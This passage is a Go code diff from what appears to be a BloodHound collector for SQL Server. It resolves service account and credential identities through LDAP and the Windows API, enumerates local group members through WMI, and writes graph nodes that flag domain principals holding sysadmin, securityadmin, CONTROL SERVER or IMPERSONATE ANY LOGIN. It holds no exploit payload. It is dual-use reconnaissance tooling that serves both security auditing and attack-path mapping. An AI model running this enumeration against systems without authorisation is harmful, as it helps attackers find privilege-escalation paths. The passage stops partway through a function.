+// updateObjectIdentifiers updates all ObjectIdentifiers after computer SID is resolved
+func (c *Collector) updateObjectIdentifiers(serverInfo *types.ServerInfo, oldServerID string) {
+ newServerID := serverInfo.ObjectIdentifier
+
+ // Update server principals
+ for i := range serverInfo.ServerPrincipals {
+ p := &serverInfo.ServerPrincipals[i]
+ // Update ObjectIdentifier: Name@OldServerID -> Name@NewServerID
+ p.ObjectIdentifier = strings.Replace(p.ObjectIdentifier, "@"+oldServerID, "@"+newServerID, 1)
+ // Update OwningObjectIdentifier if it references the server
+ if p.OwningObjectIdentifier != "" {
+ p.OwningObjectIdentifier = strings.Replace(p.OwningObjectIdentifier, "@"+oldServerID, "@"+newServerID, 1)
+ }
+ // Update MemberOf role references: Role@OldServerID -> Role@NewServerID
+ for j := range p.MemberOf {
+ p.MemberOf[j].ObjectIdentifier = strings.Replace(p.MemberOf[j].ObjectIdentifier, "@"+oldServerID, "@"+newServerID, 1)
+ }
+ // Update Permissions target references
+ for j := range p.Permissions {
+ if p.Permissions[j].TargetObjectIdentifier != "" {
+ p.Permissions[j].TargetObjectIdentifier = strings.Replace(p.Permissions[j].TargetObjectIdentifier, "@"+oldServerID, "@"+newServerID, 1)
+ }
+ }
+ }
+
+ // Update databases and database principals
+ for i := range serverInfo.Databases {
+ db := &serverInfo.Databases[i]
+ // Update database ObjectIdentifier: OldServerID\DBName -> NewServerID\DBName
+ db.ObjectIdentifier = strings.Replace(db.ObjectIdentifier, oldServerID+"\\", newServerID+"\\", 1)
+
+ // Update database owner ObjectIdentifier: Name@OldServerID -> Name@NewServerID
+ if db.OwnerObjectIdentifier != "" {
+ db.OwnerObjectIdentifier = strings.Replace(db.OwnerObjectIdentifier, "@"+oldServerID, "@"+newServerID, 1)
+ }
+
+ // Update database principals
+ for j := range db.DatabasePrincipals {
+ p := &db.DatabasePrincipals[j]
+ // Update ObjectIdentifier: Name@OldServerID\DBName -> Name@NewServerID\DBName
+ p.ObjectIdentifier = strings.Replace(p.ObjectIdentifier, "@"+oldServerID+"\\", "@"+newServerID+"\\", 1)
+ // Update OwningObjectIdentifier
+ if p.OwningObjectIdentifier != "" {
+ p.OwningObjectIdentifier = strings.Replace(p.OwningObjectIdentifier, "@"+oldServerID+"\\", "@"+newServerID+"\\", 1)
+ }
+ // Update ServerLogin.ObjectIdentifier
+ if p.ServerLogin != nil && p.ServerLogin.ObjectIdentifier != "" {
+ p.ServerLogin.ObjectIdentifier = strings.Replace(p.ServerLogin.ObjectIdentifier, "@"+oldServerID, "@"+newServerID, 1)
+ }
+ // Update MemberOf role references: Role@OldServerID\DBName -> Role@NewServerID\DBName
+ for k := range p.MemberOf {
+ p.MemberOf[k].ObjectIdentifier = strings.Replace(p.MemberOf[k].ObjectIdentifier, "@"+oldServerID+"\\", "@"+newServerID+"\\", 1)
+ }
+ // Update Permissions target references
+ for k := range p.Permissions {
+ if p.Permissions[k].TargetObjectIdentifier != "" {
+ p.Permissions[k].TargetObjectIdentifier = strings.Replace(p.Permissions[k].TargetObjectIdentifier, "@"+oldServerID+"\\", "@"+newServerID+"\\", 1)
+ }
+ }
+ }
+ }
+}
+
+// preprocessServiceAccounts converts built-in service accounts to computer account
+// When SQL Server runs as LocalSystem, Local Service, or Network Service,
+// it authenticates on the network as the computer account
+func (c *Collector) preprocessServiceAccounts(serverInfo *types.ServerInfo) {
+ seenSIDs := make(map[string]bool)
+ var uniqueServiceAccounts []types.ServiceAccount
+
+ for i := range serverInfo.ServiceAccounts {
+ sa := serverInfo.ServiceAccounts[i]
+
+ // Skip NT SERVICE\* virtual service accounts entirely
+ // PowerShell doesn't convert these to computer accounts - it just skips them
+ // because they can't be resolved in AD (they're virtual accounts)
+ if strings.HasPrefix(strings.ToUpper(sa.Name), "NT SERVICE\\") {
+ c.logVerbose("Skipping NT SERVICE virtual account: %s", sa.Name)
+ continue
+ }
+
+ // Check if this is a built-in account that uses the computer account for network auth
+ // These DO get converted to computer accounts (LocalSystem, NT AUTHORITY\*)
+ isBuiltIn := sa.Name == "LocalSystem" ||
+ strings.ToUpper(sa.Name) == "NT AUTHORITY\\SYSTEM" ||
+ strings.ToUpper(sa.Name) == "NT AUTHORITY\\LOCAL SERVICE" ||
+ strings.ToUpper(sa.Name) == "NT AUTHORITY\\LOCALSERVICE" ||
+ strings.ToUpper(sa.Name) == "NT AUTHORITY\\NETWORK SERVICE" ||
+ strings.ToUpper(sa.Name) == "NT AUTHORITY\\NETWORKSERVICE"
+
+ if isBuiltIn {
+ // Convert to computer account (HOSTNAME$)
+ hostname := serverInfo.Hostname
+ // Strip domain from FQDN
+ if strings.Contains(hostname, ".") {
+ hostname = strings.Split(hostname, ".")[0]
+ }
+ computerAccount := strings.ToUpper(hostname) + "$"
+
+ c.logVerbose("Converting built-in service account %s to computer account %s", sa.Name, computerAccount)
+
+ sa.Name = computerAccount
+ sa.ConvertedFromBuiltIn = true // Mark as converted from built-in
+
+ // If we already have the computer SID, use it
+ if serverInfo.ComputerSID != "" {
+ sa.SID = serverInfo.ComputerSID
+ sa.ObjectIdentifier = serverInfo.ComputerSID
+ c.logVerbose("Using known computer SID: %s", serverInfo.ComputerSID)
+ }
+ }
+
+ // De-duplicate: only keep the first occurrence of each SID
+ key := sa.SID
+ if key == "" {
+ key = sa.Name // Use name if SID not resolved yet
+ }
+ if !seenSIDs[key] {
+ seenSIDs[key] = true
+ uniqueServiceAccounts = append(uniqueServiceAccounts, sa)
+ } else {
+ c.logVerbose("Skipping duplicate service account: %s (%s)", sa.Name, key)
+ }
+ }
+
+ serverInfo.ServiceAccounts = uniqueServiceAccounts
+}
+
+// resolveServiceAccountSIDsViaLDAP resolves service account SIDs via multiple methods
+func (c *Collector) resolveServiceAccountSIDsViaLDAP(serverInfo *types.ServerInfo) {
+ for i := range serverInfo.ServiceAccounts {
+ sa := &serverInfo.ServiceAccounts[i]
+
+ // Skip non-domain accounts (Local System, Local Service, etc.)
+ if !strings.Contains(sa.Name, "\\") && !strings.Contains(sa.Name, "@") && !strings.HasSuffix(sa.Name, "$") {
+ continue
+ }
+
+ // Skip virtual accounts like NT SERVICE\*
+ if strings.HasPrefix(strings.ToUpper(sa.Name), "NT SERVICE\\") ||
+ strings.HasPrefix(strings.ToUpper(sa.Name), "NT AUTHORITY\\") {
+ continue
+ }
+
+ // Check if this is a computer account (name ends with $)
+ isComputerAccount := strings.HasSuffix(sa.Name, "$")
+
+ // If we don't have a SID yet, try to resolve it
+ if sa.SID == "" {
+ // Method 1: Try Windows API first (most reliable on Windows)
+ c.logVerbose(" Resolving service account %s via Windows API", sa.Name)
+ sid, err := ad.ResolveAccountSIDWindows(sa.Name)
+ if err == nil && sid != "" && strings.HasPrefix(sid, "S-1-5-21-") {
+ sa.SID = sid
+ sa.ObjectIdentifier = sid
+ c.logVerbose(" Resolved service account SID via Windows API: %s", sid)
+ fmt.Printf(" Resolved service account SID for %s: %s\n", sa.Name, sa.SID)
+ } else {
+ c.logVerbose(" Windows API failed: %v", err)
+ }
+ }
+
+ // For computer accounts, we need to look up the DNSHostName via LDAP
+ // PowerShell uses DNSHostName for computer account names (e.g., FORS13DA.ad005.onehc.net)
+ // instead of SAMAccountName (FORS13DA$)
+ if isComputerAccount && sa.SID != "" {
+ // First, check if this is the server's own computer account
+ // by comparing the SID with the server's ComputerSID
+ if sa.SID == serverInfo.ComputerSID && serverInfo.FQDN != "" {
+ // Use the server's own FQDN directly
+ oldName := sa.Name
+ sa.Name = serverInfo.FQDN
+ c.logVerbose(" Updated computer account name from %s to %s (server's own computer account)", oldName, sa.Name)
+ fmt.Printf(" Updated computer account name from %s to %s\n", oldName, sa.Name)
+ continue
+ }
+
+ // For other computer accounts, try LDAP
+ if c.config.Domain != "" {
+ adClient := ad.NewClient(c.config.Domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver())
+ principal, err := adClient.ResolveSID(sa.SID)
+ adClient.Close()
+ if err == nil && principal != nil && principal.ObjectClass == "computer" {
+ // Use the resolved name (which is DNSHostName for computers in our updated AD client)
+ oldName := sa.Name
+ sa.Name = principal.Name
+ sa.ResolvedPrincipal = principal
+ c.logVerbose(" Updated computer account name from %s to %s", oldName, sa.Name)
+ fmt.Printf(" Updated computer account name from %s to %s\n", oldName, sa.Name)
+ }
+ }
+ continue
+ }
+
+ // If we still don't have a SID and this is not a computer account, try LDAP
+ if sa.SID == "" {
+ if c.config.Domain == "" {
+ fmt.Printf(" Note: Could not resolve service account %s (no domain specified)\n", sa.Name)
+ continue
+ }
+
+ // Create AD client
+ adClient := ad.NewClient(c.config.Domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver())
+ principal, err := adClient.ResolveName(sa.Name)
+ adClient.Close()
+ if err != nil {
+ fmt.Printf(" Note: Could not resolve service account %s via LDAP: %v\n", sa.Name, err)
+ continue
+ }
+
+ sa.SID = principal.SID
+ sa.ObjectIdentifier = principal.SID
+ sa.ResolvedPrincipal = principal
+ // Also update the name if it's a computer
+ if principal.ObjectClass == "computer" {
+ sa.Name = principal.Name
+ }
+ fmt.Printf(" Resolved service account SID for %s: %s\n", sa.Name, sa.SID)
+ }
+ }
+}
+
+// resolveCredentialSIDsViaLDAP resolves credential identities to AD SIDs
+// This matches PowerShell's Resolve-DomainPrincipal behavior for credential edges
+func (c *Collector) resolveCredentialSIDsViaLDAP(serverInfo *types.ServerInfo) {
+ if c.config.Domain == "" {
+ return
+ }
+
+ // Helper to resolve a credential identity to a domain principal via LDAP.
+ // Attempts resolution for all identities (not just domain\user or user@domain format),
+ // matching PowerShell's Resolve-DomainPrincipal behavior.
+ resolveIdentity := func(identity string) *types.DomainPrincipal {
+ if identity == "" {
+ return nil
+ }
+ adClient := ad.NewClient(c.config.Domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.config.DNSResolver)
+ principal, err := adClient.ResolveName(identity)
+ adClient.Close()
+ if err != nil || principal == nil || principal.SID == "" {
+ return nil
+ }
+ return principal
+ }
+
+ // Resolve server-level credentials (mapped via ALTER LOGIN ... WITH CREDENTIAL)
+ for i := range serverInfo.ServerPrincipals {
+ if serverInfo.ServerPrincipals[i].MappedCredential != nil {
+ cred := serverInfo.ServerPrincipals[i].MappedCredential
+ if principal := resolveIdentity(cred.CredentialIdentity); principal != nil {
+ cred.ResolvedSID = principal.SID
+ cred.ResolvedPrincipal = principal
+ c.logVerbose(" Resolved credential %s -> %s", cred.CredentialIdentity, principal.SID)
+ }
+ }
+ }
+
+ // Resolve standalone credentials (for HasMappedCred edges)
+ for i := range serverInfo.Credentials {
+ if principal := resolveIdentity(serverInfo.Credentials[i].CredentialIdentity); principal != nil {
+ serverInfo.Credentials[i].ResolvedSID = principal.SID
+ serverInfo.Credentials[i].ResolvedPrincipal = principal
+ c.logVerbose(" Resolved credential %s -> %s", serverInfo.Credentials[i].CredentialIdentity, principal.SID)
+ }
+ }
+
+ // Resolve proxy account credentials
+ for i := range serverInfo.ProxyAccounts {
+ if principal := resolveIdentity(serverInfo.ProxyAccounts[i].CredentialIdentity); principal != nil {
+ serverInfo.ProxyAccounts[i].ResolvedSID = principal.SID
+ serverInfo.ProxyAccounts[i].ResolvedPrincipal = principal
+ c.logVerbose(" Resolved proxy credential %s -> %s", serverInfo.ProxyAccounts[i].CredentialIdentity, principal.SID)
+ }
+ }
+
+ // Resolve database-scoped credentials
+ for i := range serverInfo.Databases {
+ for j := range serverInfo.Databases[i].DBScopedCredentials {
+ cred := &serverInfo.Databases[i].DBScopedCredentials[j]
+ if principal := resolveIdentity(cred.CredentialIdentity); principal != nil {
+ cred.ResolvedSID = principal.SID
+ cred.ResolvedPrincipal = principal
+ c.logVerbose(" Resolved DB scoped credential %s -> %s", cred.CredentialIdentity, principal.SID)
+ }
+ }
+ }
+}
+
+// enumerateLocalGroupMembers finds local Windows groups that have SQL logins and enumerates their domain members via WMI
+func (c *Collector) enumerateLocalGroupMembers(serverInfo *types.ServerInfo) {
+ if runtime.GOOS != "windows" {
+ c.logVerbose("Skipping local group enumeration (not on Windows)")
+ return
+ }
+
+ serverInfo.LocalGroupsWithLogins = make(map[string]*types.LocalGroupInfo)
+
+ // Get the hostname part for matching
+ serverHostname := serverInfo.Hostname
+ if idx := strings.Index(serverHostname, "."); idx > 0 {
+ serverHostname = serverHostname[:idx] // Get just the hostname, not FQDN
+ }
+ serverHostnameUpper := strings.ToUpper(serverHostname)
+
+ for i := range serverInfo.ServerPrincipals {
+ principal := &serverInfo.ServerPrincipals[i]
+
+ // Check if this is a local Windows group
+ if principal.TypeDescription != "WINDOWS_GROUP" {
+ continue
+ }
+
+ isLocalGroup := false
+ localGroupName := ""
+
+ // Check for BUILTIN groups (e.g., BUILTIN\Administrators)
+ if strings.HasPrefix(strings.ToUpper(principal.Name), "BUILTIN\\") {
+ isLocalGroup = true
+ parts := strings.SplitN(principal.Name, "\\", 2)
+ if len(parts) == 2 {
+ localGroupName = parts[1]
+ }
+ } else if strings.Contains(principal.Name, "\\") {
+ // Check for computer-specific local groups (e.g., SERVERNAME\Administrators)
+ parts := strings.SplitN(principal.Name, "\\", 2)
+ if len(parts) == 2 && strings.ToUpper(parts[0]) == serverHostnameUpper {
+ isLocalGroup = true
+ localGroupName = parts[1]
+ }
+ }
+
+ if !isLocalGroup || localGroupName == "" {
+ continue
+ }
+
+ // Enumerate members using WMI
+ members := wmi.GetLocalGroupMembersWithFallback(serverHostname, localGroupName, c.config.Verbose)
+
+ // Convert to LocalGroupMember and resolve SIDs
+ var localMembers []types.LocalGroupMember
+ for _, member := range members {
+ lm := types.LocalGroupMember{
+ Domain: member.Domain,
+ Name: member.Name,
+ }
+
+ // Try to resolve SID
+ fullName := fmt.Sprintf("%s\\%s", member.Domain, member.Name)
+ if runtime.GOOS == "windows" {
+ sid, err := ad.ResolveAccountSIDWindows(fullName)
+ if err == nil && sid != "" {
+ lm.SID = sid
+ }
+ }
+
+ // Fall back to LDAP if Windows API didn't work and we have a domain
+ if lm.SID == "" && c.config.Domain != "" {
+ adClient := ad.NewClient(c.config.Domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver())
+ resolved, err := adClient.ResolveName(fullName)
+ adClient.Close()
+ if err == nil && resolved.SID != "" {
+ lm.SID = resolved.SID
+ }
+ }
+
+ localMembers = append(localMembers, lm)
+ }
+
+ // Store in server info
+ serverInfo.LocalGroupsWithLogins[principal.ObjectIdentifier] = &types.LocalGroupInfo{
+ Principal: principal,
+ Members: localMembers,
+ }
+ }
+}
+
+// generateOutput creates the BloodHound JSON output for a server
+func (c *Collector) generateOutput(serverInfo *types.ServerInfo, outputFile string) error {
+ writer, err := bloodhound.NewStreamingWriter(outputFile)
+ if err != nil {
+ return err
+ }
+ defer writer.Close()
+
+ // Create server node
+ serverNode := c.createServerNode(serverInfo)
+ if err := writer.WriteNode(serverNode); err != nil {
+ return err
+ }
+
+ // Create linked server nodes (matching PowerShell behavior)
+ // If a linked server resolves to the same ObjectIdentifier as the primary server,
+ // merge the linked server properties into the server node instead of creating a duplicate.
+ createdLinkedServerNodes := make(map[string]bool)
+ for _, linkedServer := range serverInfo.LinkedServers {
+ if linkedServer.DataSource == "" || linkedServer.ResolvedObjectIdentifier == "" {
+ continue
+ }
+ if createdLinkedServerNodes[linkedServer.ResolvedObjectIdentifier] {
+ continue
+ }
+
+ // If this linked server target is the primary server itself, skip creating a
+ // separate node — the properties were already merged into the server node above.
+ if linkedServer.ResolvedObjectIdentifier == serverInfo.ObjectIdentifier {
+ createdLinkedServerNodes[linkedServer.ResolvedObjectIdentifier] = true
+ continue
+ }
+
+ // Extract server name from data source (e.g., "SERVER\INSTANCE,1433" -> "SERVER")
+ linkedServerName := linkedServer.DataSource
+ if idx := strings.IndexAny(linkedServerName, "\\,:"); idx > 0 {
+ linkedServerName = linkedServerName[:idx]
+ }
+
+ linkedNode := &bloodhound.Node{
+ Kinds: []string{bloodhound.NodeKinds.Server},
+ ID: linkedServer.ResolvedObjectIdentifier,
+ Properties: make(map[string]interface{}),
+ }
+ linkedNode.Properties["name"] = linkedServerName
+ linkedNode.Properties["hasLinksFromServers"] = []string{serverInfo.ObjectIdentifier}
+ linkedNode.Properties["isLinkedServerTarget"] = true
+ linkedNode.Icon = &bloodhound.Icon{
+ Type: "font-awesome",
+ Name: "server",
+ Color: "#42b9f5",
+ }
+
+ if err := writer.WriteNode(linkedNode); err != nil {
+ return err
+ }
+ createdLinkedServerNodes[linkedServer.ResolvedObjectIdentifier] = true
+ }
+
+ // Pre-compute databaseUsers for each login (matching PowerShell behavior).
+ // Maps login ObjectIdentifier -> list of "userName@databaseName" strings.
+ loginDatabaseUsers := make(map[string][]string)
+ for _, db := range serverInfo.Databases {
+ for _, principal := range db.DatabasePrincipals {
+ if principal.ServerLogin != nil && principal.ServerLogin.ObjectIdentifier != "" {
+ entry := fmt.Sprintf("%s@%s", principal.Name, db.Name)
+ loginDatabaseUsers[principal.ServerLogin.ObjectIdentifier] = append(
+ loginDatabaseUsers[principal.ServerLogin.ObjectIdentifier], entry)
+ }
+ }
+ }
+
+ // Create server principal nodes
+ for _, principal := range serverInfo.ServerPrincipals {
+ node := c.createServerPrincipalNode(&principal, serverInfo, loginDatabaseUsers)
+ if err := writer.WriteNode(node); err != nil {
+ return err
+ }
+ }
+
+ // Create database and database principal nodes
+ for _, db := range serverInfo.Databases {
+ dbNode := c.createDatabaseNode(&db, serverInfo)
+ if err := writer.WriteNode(dbNode); err != nil {
+ return err
+ }
+
+ for _, principal := range db.DatabasePrincipals {
+ node := c.createDatabasePrincipalNode(&principal, &db, serverInfo)
+ if err := writer.WriteNode(node); err != nil {
+ return err
+ }
+ }
+ }
+
+ // Create AD nodes (User, Group, Computer) if not skipped
+ if !c.config.SkipADNodeCreation {
+ if err := c.createADNodes(writer, serverInfo); err != nil {
+ return err
+ }
+ }
+
+ // Create edges
+ if err := c.createEdges(writer, serverInfo); err != nil {
+ return err
+ }
+
+ // Print grouped summary of skipped ChangePassword edges due to CVE-2025-49758 patch
+ c.skippedChangePasswordMu.Lock()
+ if len(c.skippedChangePasswordEdges) > 0 {
+ // Sort names for consistent output
+ var names []string
+ for name := range c.skippedChangePasswordEdges {
+ names = append(names, name)
+ }
+ sort.Strings(names)
+
+ fmt.Println("Targets have securityadmin role or IMPERSONATE ANY LOGIN permission, but server is patched for CVE-2025-49758 -- Skipping ChangePassword edge for:")
+ for _, name := range names {
+ fmt.Printf(" %s\n", name)
+ }
+ // Clear the map for next server
+ c.skippedChangePasswordEdges = nil
+ }
+ c.skippedChangePasswordMu.Unlock()
+
+ nodes, edges := writer.Stats()
+ fmt.Printf("Wrote %d nodes and %d edges\n", nodes, edges)
+
+ return nil
+}
+
+// createServerNode creates a BloodHound node for the SQL Server
+func (c *Collector) createServerNode(info *types.ServerInfo) *bloodhound.Node {
+ props := map[string]interface{}{
+ "name": info.SQLServerName, // Use consistent FQDN:Port format
+ "hostname": info.Hostname,
+ "fqdn": info.FQDN,
+ "sqlServerName": info.ServerName, // Original SQL Server name (may be short name or include instance)
+ "version": info.Version,
+ "versionNumber": info.VersionNumber,
+ "edition": info.Edition,
+ "productLevel": info.ProductLevel,
+ "isClustered": info.IsClustered,
+ "port": info.Port,
+ }
+
+ // Add instance name
+ if info.InstanceName != "" {
+ props["instanceName"] = info.InstanceName
+ }
+
+ // Add security-relevant properties
+ props["isMixedModeAuthEnabled"] = info.IsMixedModeAuth
+ if info.ForceEncryption != "" {
+ props["forceEncryption"] = info.ForceEncryption
+ }
+ if info.StrictEncryption != "" {
+ props["strictEncryption"] = info.StrictEncryption
+ }
+ if info.ExtendedProtection != "" {
+ props["extendedProtection"] = info.ExtendedProtection
+ }
+
+ // Add SPNs
+ if len(info.SPNs) > 0 {
+ props["servicePrincipalNames"] = info.SPNs
+ }
+
+ // Add service account name (first service account, matching PowerShell behavior).
+ // PS strips the domain prefix via Resolve-DomainPrincipal which returns bare SAMAccountName.
+ if len(info.ServiceAccounts) > 0 {
+ saName := info.ServiceAccounts[0].Name
+ if idx := strings.Index(saName, "\\"); idx != -1 {
+ saName = saName[idx+1:]
+ }
+ props["serviceAccount"] = saName
+ }
+
+ // Add database names
+ if len(info.Databases) > 0 {
+ dbNames := make([]string, len(info.Databases))
+ for i, db := range info.Databases {
+ dbNames[i] = db.Name
+ }
+ props["databases"] = dbNames
+ }
+
+ // Add linked server names
+ if len(info.LinkedServers) > 0 {
+ linkedNames := make([]string, len(info.LinkedServers))
+ for i, ls := range info.LinkedServers {
+ linkedNames[i] = ls.Name
+ }
+ props["linkedToServers"] = linkedNames
+ }
+
+ // Check if any linked servers resolve back to this server (self-reference).
+ // If so, merge the linked server target properties into this node to avoid
+ // creating a duplicate node with the same ObjectIdentifier.
+ hasLinksFromServers := []string{}
+ for _, ls := range info.LinkedServers {
+ if ls.ResolvedObjectIdentifier == info.ObjectIdentifier && ls.DataSource != "" {
+ hasLinksFromServers = append(hasLinksFromServers, info.ObjectIdentifier)
+ break
+ }
+ }
+ if len(hasLinksFromServers) > 0 {
+ props["isLinkedServerTarget"] = true
+ props["hasLinksFromServers"] = hasLinksFromServers
+ }
+
+ // Calculate domain principals with privileged access using effective permission
+ // evaluation (including nested role membership and fixed role implied permissions).
+ // This matches PowerShell's approach where sysadmin implies CONTROL SERVER.
+ domainPrincipalsWithSysadmin := []string{}
+ domainPrincipalsWithControlServer := []string{}
+ domainPrincipalsWithSecurityadmin := []string{}
+ domainPrincipalsWithImpersonateAnyLogin := []string{}
+
+ for _, principal := range info.ServerPrincipals {
+ if !principal.IsActiveDirectoryPrincipal || principal.IsDisabled {
+ continue
+ }
+
+ // Only include principals with domain SIDs (S-1-5-21--...)
+ // This filters out BUILTIN, NT AUTHORITY, NT SERVICE accounts
+ if info.DomainSID == "" || !strings.HasPrefix(principal.SecurityIdentifier, info.DomainSID+"-") {
+ continue
+ }
+
+ // Use effective permission/role checks (including nested roles and fixed role implied permissions)
+ if c.hasNestedRoleMembership(principal, "sysadmin", info) {
+ domainPrincipalsWithSysadmin = append(domainPrincipalsWithSysadmin, principal.ObjectIdentifier)
+ }
+ if c.hasNestedRoleMembership(principal, "securityadmin", info) {
+ domainPrincipalsWithSecurityadmin = append(domainPrincipalsWithSecurityadmin, principal.ObjectIdentifier)
+ }
+ if c.hasEffectivePermission(principal, "CONTROL SERVER", info) {
+ domainPrincipalsWithControlServer = append(domainPrincipalsWithControlServer, principal.ObjectIdentifier)
+ }
+ if c.hasEffectivePermission(principal, "IMPERSONATE ANY LOGIN", info) {
+ domainPrincipalsWithImpersonateAnyLogin = append(domainPrincipalsWithImpersonateAnyLogin, principal.ObjectIdentifier)
+ }
+ }
+
+ props["domainPrincipalsWithSysadmin"] = domainPrincipalsWithSysadmin
+ props["domainPrincipalsWithControlServer"] = domainPrincipalsWithControlServer
+ props["domainPrincipalsWithSecurityadmin"] = domainPrincipalsWithSecurityadmin
+ props["domainPrincipalsWithImpersonateAnyLogin"] = domainPrincipalsWithImpersonateAnyLogin
+ props["isAnyDomainPrincipalSysadmin"] = len(domainPrincipalsWithSysadmin) > 0
+
+ return &bloodhound.Node{
+ ID: info.ObjectIdentifier,
+ Kinds: []string{bloodhound.NodeKinds.Server},
+ Properties: props,
+ Icon: bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.Server]),
+ }
+}
+
+// createServerPrincipalNode creates a BloodHound node for a server principal
+func (c *Collector) createServerPrincipalNode(principal *types.ServerPrincipal, serverInfo *types.ServerInfo, loginDatabaseUsers map[string][]string) *bloodhound.Node {
+ props := map[string]interface{}{
+ "name": principal.Name,
+ "principalId": principal.PrincipalID,
+ "createDate": principal.CreateDate.Format(time.RFC3339),
+ "modifyDate": principal.ModifyDate.Format(time.RFC3339),
+ "SQLServer": principal.SQLServerName,
+ }
+
+ var kinds []string
+ var icon *bloodhound.Icon
+
+ switch principal.TypeDescription {
+ case "SERVER_ROLE":
+ kinds = []string{bloodhound.NodeKinds.ServerRole}
+ icon = bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.ServerRole])
+ props["isFixedRole"] = principal.IsFixedRole
+ if len(principal.Members) > 0 {
+ props["members"] = principal.Members
+ }
+ default:
+ // Logins (SQL_LOGIN, WINDOWS_LOGIN, WINDOWS_GROUP, etc.)
+ kinds = []string{bloodhound.NodeKinds.Login}
+ icon = bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.Login])
+ props["type"] = principal.TypeDescription
+ props["disabled"] = principal.IsDisabled
+ props["defaultDatabase"] = principal.DefaultDatabaseName
+ props["isActiveDirectoryPrincipal"] = principal.IsActiveDirectoryPrincipal
+
+ if principal.SecurityIdentifier != "" {
+ props["activeDirectorySID"] = principal.SecurityIdentifier
+ // Resolve SID to NTAccount-style name (matching PowerShell's activeDirectoryPrincipal)
+ if principal.IsActiveDirectoryPrincipal {
+ props["activeDirectoryPrincipal"] = principal.Name
+ }
+ }
+
+ // Add databaseUsers list (matching PowerShell behavior)
+ if dbUsers, ok := loginDatabaseUsers[principal.ObjectIdentifier]; ok && len(dbUsers) > 0 {
+ props["databaseUsers"] = dbUsers
+ }
+ }
+
+ // Add role memberships
+ if len(principal.MemberOf) > 0 {
+ roleNames := make([]string, len(principal.MemberOf))
+ for i, m := range principal.MemberOf {
+ roleNames[i] = m.Name
+ }
+ props["memberOfRoles"] = roleNames
+ }
+
+ // Add explicit permissions
+ if len(principal.Permissions) > 0 {
+ perms := make([]string, len(principal.Permissions))
+ for i, p := range principal.Permissions {
+ perms[i] = p.Permission
+ }
+ props["explicitPermissions"] = perms
+ }
+
+ return &bloodhound.Node{
+ ID: principal.ObjectIdentifier,
+ Kinds: kinds,
+ Properties: props,
+ Icon: icon,
+ }
+}
+
+// createDatabaseNode creates a BloodHound node for a database
+func (c *Collector) createDatabaseNode(db *types.Database, serverInfo *types.ServerInfo) *bloodhound.Node {
+ props := map[string]interface{}{
+ "name": db.Name,
+ "databaseId": db.DatabaseID,
+ "createDate": db.CreateDate.Format(time.RFC3339),
+ "compatibilityLevel": db.CompatibilityLevel,
+ "isReadOnly": db.IsReadOnly,
+ "isTrustworthy": db.IsTrustworthy,
+ "isEncrypted": db.IsEncrypted,
+ "SQLServer": db.SQLServerName,
+ "SQLServerID": serverInfo.ObjectIdentifier,
+ }
+
+ if db.OwnerLoginName != "" {
+ props["ownerLoginName"] = db.OwnerLoginName
+ }
+ if db.OwnerPrincipalID != 0 {
+ props["ownerPrincipalID"] = fmt.Sprintf("%d", db.OwnerPrincipalID)
+ }
+ if db.OwnerObjectIdentifier != "" {
+ props["OwnerObjectIdentifier"] = db.OwnerObjectIdentifier
+ }
+ if db.CollationName != "" {
+ props["collationName"] = db.CollationName
+ }
+
+ return &bloodhound.Node{
+ ID: db.ObjectIdentifier,
+ Kinds: []string{bloodhound.NodeKinds.Database},
+ Properties: props,
+ Icon: bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.Database]),
+ }
+}
+
+// createDatabasePrincipalNode creates a BloodHound node for a database principal
+func (c *Collector) createDatabasePrincipalNode(principal *types.DatabasePrincipal, db *types.Database, serverInfo *types.ServerInfo) *bloodhound.Node {
+ props := map[string]interface{}{
+ "name": fmt.Sprintf("%s@%s", principal.Name, db.Name), // Match PowerShell format: Name@DatabaseName
+ "principalId": principal.PrincipalID,
+ "createDate": principal.CreateDate.Format(time.RFC3339),
+ "modifyDate": principal.ModifyDate.Format(time.RFC3339),
+ "database": principal.DatabaseName, // Match PowerShell property name
+ "SQLServer": principal.SQLServerName,
+ }
+
+ var kinds []string
+ var icon *bloodhound.Icon
+
+ // Add defaultSchema for all database principal types (matching PowerShell behavior)
+ if principal.DefaultSchemaName != "" {
+ props["defaultSchema"] = principal.DefaultSchemaName
+ }
+
+ switch principal.TypeDescription {
+ case "DATABASE_ROLE":
+ kinds = []string{bloodhound.NodeKinds.DatabaseRole}
+ icon = bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.DatabaseRole])
+ props["isFixedRole"] = principal.IsFixedRole
+ if len(principal.Members) > 0 {
+ props["members"] = principal.Members
+ }
+ case "APPLICATION_ROLE":
+ kinds = []string{bloodhound.NodeKinds.ApplicationRole}
+ icon = bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.ApplicationRole])
+ default:
+ // Database users
+ kinds = []string{bloodhound.NodeKinds.DatabaseUser}
+ icon = bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.DatabaseUser])
+ props["type"] = principal.TypeDescription
+ if principal.ServerLogin != nil {
+ props["serverLogin"] = principal.ServerLogin.Name
+ }
+ }
+
+ // Add role memberships
+ if len(principal.MemberOf) > 0 {
+ roleNames := make([]string, len(principal.MemberOf))
+ for i, m := range principal.MemberOf {
+ roleNames[i] = m.Name
+ }
+ props["memberOfRoles"] = roleNames
+ }
+
+ // Add explicit permissions
+ if len(principal.Permissions) > 0 {
+ perms := make([]string, len(principal.Permissions))
+ for i, p := range principal.Permissions {
+ perms[i] = p.Permission
+ }
+ props["explicitPermissions"] = perms
+ }
+
+ return &bloodhound.Node{
+ ID: principal.ObjectIdentifier,
+ Kinds: kinds,
+ Properties: props,
+ Icon: icon,
+ }
+}
+
+// createADNodes creates BloodHound nodes for Active Directory principals referenced by SQL logins
+func (c *Collector) createADNodes(writer *bloodhound.StreamingWriter, serverInfo *types.ServerInfo) error {
+ createdNodes := make(map[string]bool)
+
+ // Create Computer node for the server's host computer (matching PowerShell behavior)
+ if serverInfo.ComputerSID != "" {
+ // Build display name with domain
